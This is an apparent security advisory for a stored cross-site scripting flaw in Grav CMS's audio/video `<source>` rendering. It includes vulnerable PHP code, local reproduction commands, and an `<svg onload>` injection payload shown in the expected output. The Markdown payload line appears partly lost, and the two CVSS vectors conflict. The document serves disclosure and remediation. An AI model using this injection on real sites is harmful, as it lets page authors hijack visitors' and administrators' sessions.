Grav: Stored XSS via Markdown audio/video media <source> URL
Target: github.com/getgrav/grav
Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f
Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L)
Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)
Summary
A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so >) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.
This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.
Root Cause
The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — AudioMediaTrait.php L43-52 (identical in VideoMediaTrait.php L58-67):
protected function sourceParsedownElement(array $attributes, $reset = true)
{
$location = $this->url($reset);
return [
'name' => 'audio',
'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.',
'attributes' => $attributes
];
}
$location includes the URL fragment, which is stored with no encoding — MediaObjectTrait::urlHash() L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialchars_decode(urldecode(...)), undoing Parsedown's escaping — Excerpts.php L188 — and routes the fragment to urlHash() at Excerpts.php L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.
Two defenses that stop the querystring path do not cover the fragment:
- The GFM tagfilter —
ParsedownGravTrait::filterDisallowedRawHtml()L528-535 — escapes<only fortitle|textarea|style|xmp|iframe|noembed|noframes|script|plaintext.<svg>and<img>are not on the list, so they inject as live markup. - The
__callquerystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their=()and execute.
The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.
Steps to Reproduce
Prerequisites
- PHP >= 8.0 with the built-in web server (verified on 8.5)
- curl
- unzip
Step 1: Download Grav 2.0.13 (latest stable, self-contained core)
mkdir -p /tmp/grav-xss && cd /tmp/grav-xss
curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip
unzip grav.zip
Step 2: Create a page with an audio file and a malicious Markdown embed
cd /tmp/grav-xss/grav
mkdir -p user/pages/03.poc
printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3
cat > user/pages/03.poc/default.md <<'MD'
---
title: XSS PoC
---
>)
MD
Step 3: Start Grav
php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php
Leave this running and open a new terminal for the next step.
Step 4: Fetch the rendered page and show the un-escaped injection
for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done
curl http://127.0.0.1:8390/poc | grep -o '<audio.*</audio>'
Expected output:
<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>
The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS_…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.
Suggested Fix
Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.
Cleanup
kill %1 2>/dev/null
rm -rf /tmp/grav-xss
Impact
Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | getgrav/grav | < 2.0.15 | 2.0.15 |
References
- https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97
- https://nvd.nist.gov/vuln/detail/CVE-2026-75831
- https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20
- https://github.com/getgrav/grav
- https://www.vulncheck.com/advisories/grav-before-stored-xss-via-audio-video-source-url
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
getgrav/grav- Disclosed
- 17.09.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-6qw9-4vv5-jr97 - CC BY 4.0
Vulnerability history: getgrav/grav
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 99
- First → latest
- 11.2019 09.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 7
- High 47
- Medium 41
- Low 4
Disclosures per year
- 2019: 1
- 2020: 1
- 2021: 4
- 2022: 10
- 2023: 5
- 2024: 8
- 2025: 23
- 2026: 47
-
Grav: Stored XSS via Markdown audio/video media <source> URL this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.